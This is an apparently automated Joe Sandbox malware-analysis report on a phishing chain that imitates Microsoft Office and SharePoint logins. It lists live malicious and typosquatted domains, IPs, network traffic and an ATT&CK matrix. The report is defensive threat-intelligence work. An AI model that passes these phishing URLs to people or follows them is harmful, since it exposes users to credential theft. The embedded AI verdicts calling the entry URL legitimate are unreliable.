Source: chromecache_218.3.dr, chromecache_231.3.dr	String found in binary or memory: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info
Source: chromecache_200.3.dr	String found in binary or memory: https://rnicrosoft-office-secure1007.powerappsportals.com/homehero.jpg)
Source: chromecache_200.3.dr	String found in binary or memory: https://rnicrosoft-office-secure1007.powerappsportals.com/layer_down.png
Source: chromecache_200.3.dr	String found in binary or memory: https://rnicrosoft-office-secure1007.powerappsportals.com/layer_up.png
Source: chromecache_241.3.dr, chromecache_157.3.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_220.3.dr	String found in binary or memory: https://ugbllcgroupsec.info/CfLtH
Source: chromecache_204.3.dr, chromecache_129.3.dr	String found in binary or memory: https://underscorejs.org

Source: unknown	Network traffic detected: HTTP traffic on port 50684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50691
Source: unknown	Network traffic detected: HTTP traffic on port 50655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50698
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50624
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50639
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50649
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50657
Source: unknown	Network traffic detected: HTTP traffic on port 50688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50654
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50666
Source: unknown	Network traffic detected: HTTP traffic on port 50683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50669
Source: unknown	Network traffic detected: HTTP traffic on port 50662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50668
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50660
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50664
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50676
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50688
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50685
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50686
Source: unknown	Network traffic detected: HTTP traffic on port 50729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50729

Source: classification engine

Classification label: mal84.phis.win@22/199@48/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2028,i,5000809284017356938,12727152360113180640,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2028,i,5000809284017356938,12727152360113180640,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: chromecache_223.3.dr, chromecache_205.3.dr, chromecache_188.3.dr, chromecache_244.3.dr, chromecache_241.3.dr, chromecache_157.3.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_223.3.dr, chromecache_205.3.dr, chromecache_188.3.dr, chromecache_244.3.dr, chromecache_241.3.dr, chromecache_157.3.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://rnicrosoft-office-secure1007.powerappsportals.com/layer_down.png	0%	Avira URL Cloud	safe
http://www.datejs.com/license/.	0%	Avira URL Cloud	safe
http://www.coolite.com/).	0%	Avira URL Cloud	safe
http://www.coolite.com/	0%	Avira URL Cloud	safe
https://rnicrosoft-office-secure1007.powerappsportals.com/layer_up.png	0%	Avira URL Cloud	safe
https://rnicrosoft-office-secure1007.powerappsportals.com/homehero.jpg)	0%	Avira URL Cloud	safe
https://ugbllcgroupsec.info/CfLtH	0%	Avira URL Cloud	safe
http://medialize.github.io/URI.js	0%	Avira URL Cloud	safe
http://www.datejs.com/	0%	Avira URL Cloud	safe
http://timeago.yarp.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	185.225.69.200	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	185.225.69.200	true	true	unknown
ugbllcgroupsec.info	34.81.65.15	true	false	unknown
js.hcaptcha.com	104.19.229.21	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	185.225.69.200	true	true	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	216.58.206.36	true	false	high
upload.wikimedia.org	185.15.59.240	true	false	high
guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com	142.250.186.116	true	false	unknown
api2.hcaptcha.com	104.19.229.21	true	false	high
newassets.hcaptcha.com	104.19.230.21	true	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net	unknown	unknown	false	unknown
identity.nel.measure.office.net	unknown	unknown	false	high
content.powerapps.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://content.powerapps.com/resource/powerappsportal/img/close.png	false		high
https://content.powerapps.com/resource/powerappsportal/dist/bootstrap.BootstrapV5.bundle-be8391e97d.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/pcf-extended.bundle-e303d53553.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/867.0578a1c628.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/90.24327273f1.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/559.69ac38aa0b.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/349.dc388c8b0d.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/app.BootstrapV5.bundle-3c181c74ce.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/controls_fluent_v9/manifest-0.0.30.json	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/874.d64d28bc67.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry.bundle-ecbf4ab0d0.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/	false		high
https://newassets.hcaptcha.com/c/c0e4881c9623bd415ad16c18f8b6f5bbce9a12f6fb8a5e7bf6dd055fd2816999/hsw.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/main.04a618205e.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/remoteEntry.31441adcab.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/753.68a8bfd654.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/448.462407f435.chunk.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/902675a0487a1a24/1736950335263/5904c1f87b3e3d5c1d222ac338a7f526c432b394bc839c89ff3f035cc63903e0/8kktmGa_7afnkD6	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://js.hcaptcha.com/1/api.js	false		high
https://ugbllcgroupsec.info/CfLtH	false	Avira URL Cloud: safe	unknown
https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.moment_2_29_4.bundle-cf8e0fd942.js	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/pcf_loader/manifest-0.0.27.json	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/902675a0487a1a24/1736950335261/8s4RuyBLjGfE4Cq	false		high
https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg/1200px-Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=902675a0487a1a24&lang=auto	false		high
https://content.powerapps.com/resource/powerappsportal/controls/data_grid/manifest-1.1.26.json	false		high
https://content.powerapps.com/resource/powerappsportal/dist/default-1033.moment_2_29_4.bundle-eda4e638fd.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/pcf_controls/manifest-3.2.6.json	false		high
https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/	true		unknown
https://content.powerapps.com/resource/powerappsportal/controls/host/170.c9e6b9a6e9.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/pcf-dependency.bundle-805a1661b7.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/465.b7a24572be.chunk.js	false		high
https://newassets.hcaptcha.com/captcha/v1/41c61f4f356516806017107484a3b43e62b92b84/static/hcaptcha.html	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/manifest-0.2.7.json	false		high
https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/451.6012e266c2.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/pcf-loader.bundle-f4a0e619b8.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/243.37970f022e.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/postpreform.BootstrapV5.bundle-11a5a91493.js	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/573.676281aef2.chunk.js	false		high
https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry-wrapper.bundle-633e70f51b.js	false		high
https://content.powerapps.com/resource/powerappsportal/img/web.png	false		high
https://content.powerapps.com/resource/powerappsportal/controls/host/manifest-0.2.0.json	false		high
https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/	false		unknown
https://content.powerapps.com/resource/powerappsportal/dist/pcf.bundle-9183da3d63.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.datejs.com/	chromecache_134.3.dr, chromecache_160.3.dr	false	Avira URL Cloud: safe	unknown
https://content.powerapps.com/resource/powerappsportal/dist/font-awesome.BootstrapV5.bundle-2ce6efb4	chromecache_220.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/pcf-style.bundle-2659c6f064.css	chromecache_220.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/pwa-style.bundle-2739c60227.css	chromecache_220.3.dr	false		high
http://www.datejs.com/license/.	chromecache_134.3.dr, chromecache_160.3.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver/PerformanceObserver	chromecache_252.3.dr, chromecache_139.3.dr	false		high
http://jqueryui.com	chromecache_204.3.dr, chromecache_129.3.dr, chromecache_213.3.dr	false		high
https://rnicrosoft-office-secure1007.powerappsportals.com/layer_up.png	chromecache_200.3.dr	false	Avira URL Cloud: safe	unknown
http://medialize.github.io/URI.js	chromecache_204.3.dr, chromecache_129.3.dr	false	Avira URL Cloud: safe	unknown
https://login.windows-ppe.net	chromecache_218.3.dr, chromecache_231.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/postpreform.BootstrapV5.bundle-11a5a9149	chromecache_220.3.dr	false		high
https://fontawesome.com/license/free	chromecache_206.3.dr	false		high
http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1	chromecache_213.3.dr	false		high
https://fontawesome.com	chromecache_206.3.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_134.3.dr, chromecache_160.3.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_224.3.dr, chromecache_174.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/controls	chromecache_220.3.dr	false		high
https://rnicrosoft-office-secure1007.powerappsportals.com/homehero.jpg)	chromecache_200.3.dr	false	Avira URL Cloud: safe	unknown
https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry-wrapper.bundle-633e70f5	chromecache_220.3.dr	false		high
http://getbootstrap.com)	chromecache_200.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/bootstrap.BootstrapV5.bundle-be8391e97d.	chromecache_220.3.dr	false		high
https://github.com/Eonasdan/bootstrap-datetimepicker/	chromecache_213.3.dr	false		high
https://underscorejs.org	chromecache_204.3.dr, chromecache_129.3.dr	false		high
https://github.com/Microsoft/ApplicationInsights-JS#example-setting-cloud-role-name	chromecache_252.3.dr, chromecache_139.3.dr	false		high
http://www.coolite.com/).	chromecache_134.3.dr, chromecache_160.3.dr	false	Avira URL Cloud: safe	unknown
http://www.coolite.com/	chromecache_134.3.dr, chromecache_160.3.dr	false	Avira URL Cloud: safe	unknown
https://hcaptcha.com/license	chromecache_185.3.dr, chromecache_212.3.dr, chromecache_137.3.dr	false		high
http://timeago.yarp.com/	chromecache_134.3.dr, chromecache_160.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_250.3.dr, chromecache_224.3.dr, chromecache_174.3.dr	false		high
http://malsup.com/jquery/form/	chromecache_134.3.dr, chromecache_160.3.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/PerformanceResourceTiming	chromecache_252.3.dr, chromecache_139.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/default-1033.moment_2_29_4.bundle-eda4e6	chromecache_220.3.dr	false		high
https://getbootstrap.com/)	chromecache_250.3.dr, chromecache_224.3.dr, chromecache_174.3.dr	false		high
http://fb.me/use-check-prop-types	chromecache_184.3.dr, chromecache_169.3.dr	false		high
https://rnicrosoft-office-secure1007.powerappsportals.com/layer_down.png	chromecache_200.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pmndrs/zustand/discussions/1937	chromecache_168.3.dr, chromecache_143.3.dr	false		high
https://jquery.org/license	chromecache_241.3.dr, chromecache_157.3.dr	false		high
https://jquery.com/	chromecache_241.3.dr, chromecache_157.3.dr	false		high
https://github.com/gjunge/rateit.js	chromecache_178.3.dr, chromecache_173.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.bundle-8c396f163b.cs	chromecache_220.3.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_200.3.dr	false		high
https://fb.me/react-polyfills	chromecache_133.3.dr	false		high
https://github.com/malsup/form	chromecache_134.3.dr, chromecache_160.3.dr	false		high
https://github.com/Eonasdan/bootstrap-datetimepicker	chromecache_204.3.dr, chromecache_129.3.dr	false		high
https://sizzlejs.com/	chromecache_241.3.dr, chromecache_157.3.dr	false		high
https://js.foundation/	chromecache_241.3.dr, chromecache_157.3.dr	false		high
https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.moment_2_29_4.bundle	chromecache_220.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.81.65.15	ugbllcgroupsec.info	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
185.15.59.240	upload.wikimedia.org	Netherlands	14907	WIKIMEDIAUS	false
104.19.230.21	newassets.hcaptcha.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.116	guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
185.225.69.200	office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info	Hungary	30836	NET23-ASHU	true
104.19.229.21	js.hcaptcha.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591876
Start date and time:	2025-01-15 15:10:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.win@22/199@48/11

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 142.250.185.142, 64.233.166.84, 172.217.23.110, 142.250.184.238, 142.250.186.78, 40.69.106.98, 20.189.173.23, 199.232.214.172, 20.189.173.10, 172.217.16.206, 142.250.181.238, 142.250.184.234, 142.250.186.138, 142.250.185.106, 142.250.186.106, 142.250.185.74, 142.250.181.234, 172.217.16.202, 142.250.186.42, 172.217.18.10, 142.250.184.202, 142.250.186.170, 172.217.18.106, 142.250.185.138, 216.58.206.74, 216.58.206.42, 172.217.23.106, 2.16.241.17, 2.16.241.9, 216.58.212.142, 142.250.185.206, 13.69.116.109, 20.50.201.201, 142.250.184.227, 142.250.184.206, 13.107.246.45, 2.23.242.162, 20.109.210.53, 13.107.253.72, 13.107.253.45
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, onedscolprdweu07.westeurope.cloudapp.azure.com, clientservices.googleapis.com, time.windows.com, a1894.dscb.akamai.net, dns.msftncsi.com, onedscolprdweu12.westeurope.cloudapp.azure.com, clients2.google.com, redirector.gvt1.com, pa-static-ms.afd.azureedge.net, update.googleapis.com, us-mobile.events.data.microsoft.com, fs.microsoft.com, us.events.data.trafficmanager.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, pa-static-ms.azureedge.net, firstparty-azurefd-prod.trafficmanager.net, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, www.tm.aadcdn.msftauth.akadns.net, edgedl.me.gvt1.com, waws-prod-yq1-017-119a.canadaeast.cloudapp.azure.com, nel.measure.office.net.edgesuite.net, onedscolprdwus09.westus.cloudapp.azure.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/

Input	Output
URL: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": true, "reasoning": "This is a legitimate Google App Engine URL (appspot.com is Google's domain for hosting App Engine applications). The subdomain is long but follows Google's App Engine naming convention. The URL is hosted on Google's infrastructure." }
URL: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3noph... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet exhibits some moderate-risk behaviors, such as aggressive DOM manipulation and potential data exfiltration. However, the overall context suggests this may be part of a legitimate CAPTCHA handling mechanism, so the risk is not considered high. Further review may be necessary to fully understand the purpose and potential implications of this code." }
